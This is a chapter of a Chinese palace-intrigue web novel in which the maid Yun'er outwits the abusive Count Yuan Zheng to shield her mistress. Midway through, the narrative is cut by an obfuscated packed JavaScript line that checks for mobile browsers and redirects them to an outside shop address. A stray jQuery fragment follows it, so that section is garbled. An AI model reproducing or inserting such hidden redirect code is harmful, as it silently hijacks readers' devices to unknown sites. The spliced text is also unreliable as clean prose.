云儿泪流满面小声说道:“请夫人恕罪,云儿并非有意要背叛夫人。是林嬷嬷,让婢子假装投诚伯爷,说,夫人身边,不能没有人……”
廖华裳一愣,连忙抓住云儿的手,压低了声音问道:“嬷嬷她们,还好吗?”
云儿连连点头,“她和夏蝉姐姐被关在了后罩房,没吃什么苦头。只是,伯爷吩咐不准给她们二人饭食和水。婢子方才,偷偷给她们塞了两个饽饽和一壶水。”
刚刚从东小厅穿堂回到正房,就听到了内室里夫人呜咽的求救声。
她急中生智,冲进来骗走了伯爷。
廖华裳心下感动,却还有些将信将疑,小声说道:“他若知道你骗他,他会杀了你的。”
云儿摇摇头,“云儿不怕。夫人,明日老夫人寿辰,府上事多杂乱。到时,云儿想办法帮您逃出……”
院门传来“砰”的一声巨响。
接着是一阵沉重且杂乱的脚步声。
云儿脸色大变,迅速从地上爬起来,一边抹去脸上的泪水,一边快速冲出房门。
刚出房门,就看到两排灯笼在阶下迅速分列两侧,袁诤神色狰狞,气势汹汹冲了过来。
云儿赶紧跪到地上,急切唤道:“伯爷……”
声音未落,一只脚当胸踹过来。
云儿惨叫一声,砰的一声碰在墙上。
袁诤铁青着脸,咬牙切齿道:“贱婢!胆敢骗我?!”
云儿不顾疼痛,挣扎着爬起来,重新跪在袁诤面前,小声说道:“伯爷息怒。婢子这样做,全是为了伯爷和夫人着想。”
袁诤背负双手,来回踱了几步,阴恻恻的眼神恨不得化作利刃,将眼前这个大胆妄为的小丫头削成碎片。
云儿战战兢兢回道:“伯爷,夫人她,眼里一向揉不得沙子。伯爷该知道,夫人看着性子温软柔和,实际却是倔强得很。”
“夫人如今,正在气头上,难免对伯爷有些怨怼。”
“伯爷若是这样苦苦相逼,夫人只会与伯爷越发疏远。不如伯爷给婢子一点时间,让婢子好好劝劝……”
下巴被人猛地撷住,强行抬起。那冰冷无情的手指,深深嵌入她的下颌。
疼到她浑身都在打颤。
云儿不敢有丝毫回避,温顺地垂下眼帘,颤声回道:“方才,婢子已劝夫人喝过茶。伯爷若想将夫人长长久久留在身边,靠蛮力恐怕是不行的……”
袁诤死死钳住云儿下巴的手用力一甩。
云儿被甩倒在地,不等抬起头,一双脚已从头顶迈过。
云儿迅速爬起来,跪在地上快速说道:“还请伯爷再给夫人一点时间。夫人她,连遭突变,有些事情,只怕还没有看清。”
“伯爷以往对夫人的爱重,婢子们都看在眼里呢。慢慢的,夫人自然就明白了。”
袁诤顿住脚步,慢慢转过身,似笑非笑道:“夫人不明白,你倒是个明白的。”
云儿垂下头,小声回道:“那是因为,婢子的心,一直都是向着伯爷的……”
袁诤慢慢走近云儿,手指微动勾起云儿的下巴,看着她绯红的脸色和不停颤动的睫毛。
半晌方意味不明轻笑一声。
就在云儿感觉自己的心快要跳出来时,袁诤总算松开手,若有所思看着内室门道:“也好,就依你所言。”
只要人在府里,他不急!
他的人这几日一直都在盯着那几间店铺的动向。
店铺里的掌柜和伙计与往常一样,并没有任何异常。
今日下衙时他还专门找过掌管店铺过户的衙差,旁敲侧击问过,东坊市过户的铺子里,并没有廖氏的陪嫁。
至于别的……
明日母亲寿辰,虽只请了自家的叔伯兄弟和傅家,未请外客,到时候让她闹起来,大家伙脸上也都不好看。
得有一个人能安抚住她的情绪,使得明日的寿宴顺利完成。
明日晚上,他再过来。
想到这里,袁诤垂眸看向云儿:廖氏这几个丫头,容色以夏蝉为最佳,其次就是云儿。
小丫头生的白白净净、水灵灵的,因着年纪尚小,身板略有些平,一束腰肢却是纤细柔软、只手可握。
平日里看她安安分分的,没想到竟对他存了这样的心思。
不过也难怪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227471|151266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他正年富力强、相貌出众又身份贵重。
不止这个小丫头,便是满京城,不知道有多少大姑娘小媳妇见了他,也总是粉面含羞,忍不住多看他几眼。
再加上,按照大户人家约定俗成的规矩,主母身边的陪嫁丫头,多是为家主准备的通房。
以往他为了哄廖氏,从不染指府里的丫头,如今既然不需要再伪装,这个丫头又对自己有意……
袁诤心里一动,伸手去扶云儿,“来……”
云儿迅速磕下头去,“回伯爷,婢子一定好好服侍夫人,定不辜负伯爷嘱托。”
她颤抖着声音,小声说道:“夫人纵是现下恼着伯爷,心里也还是爱慕伯爷的。若夫人知道婢子趁机引诱伯爷,只怕立时就会远了云儿。”
她鼓起勇气,抬头含情脉脉看了袁诤一眼,又飞快垂下眸子,越发小声道:“待,过几
日,婢子一切都依着伯爷……”
说完,见袁诤脸色仍旧阴沉,云儿壮着胆子,站起身凑到他身边,踮起脚在他脸上飞快亲了一下。
云儿脸红似霞,害羞地低下头,快速进了房,还顺手将房门关上。
门外袁诤摸着脸上那一处濡湿,良久才哼的一笑:方才云儿所说,不无道理。
来日方长,他有的是时间!
直到听门外脚步声渐渐远去,云儿缓缓松开扶着门的手,慢慢站直身子。
内室门口晕倒的两个丫头幽幽转醒,看见云儿,连忙唤了声,“云姐姐。”
云儿皱起眉头,冷声斥道:“你们怎么回事?值守的时候竟睡着了?看我明日便告诉伯爷,该如何罚你们!”
两个小丫头连连请罪。
云儿指着其中一个道:“你去大厨房,让人给夫人蒸碗蛋羹送过来。记得要沥了蛋清,撇去浮沫,少加麻油不加葱。再将火腿切了细细的粒儿,多加一些。”
那小丫头面露狐疑之色。
云儿高高挑起下巴道:“是方才伯爷亲口吩咐,让我服侍照顾夫人。你们是想违抗伯爷命令吗?!”
那小丫头连忙屈了屈膝,“婢子不敢。”
说完赶紧退了下去。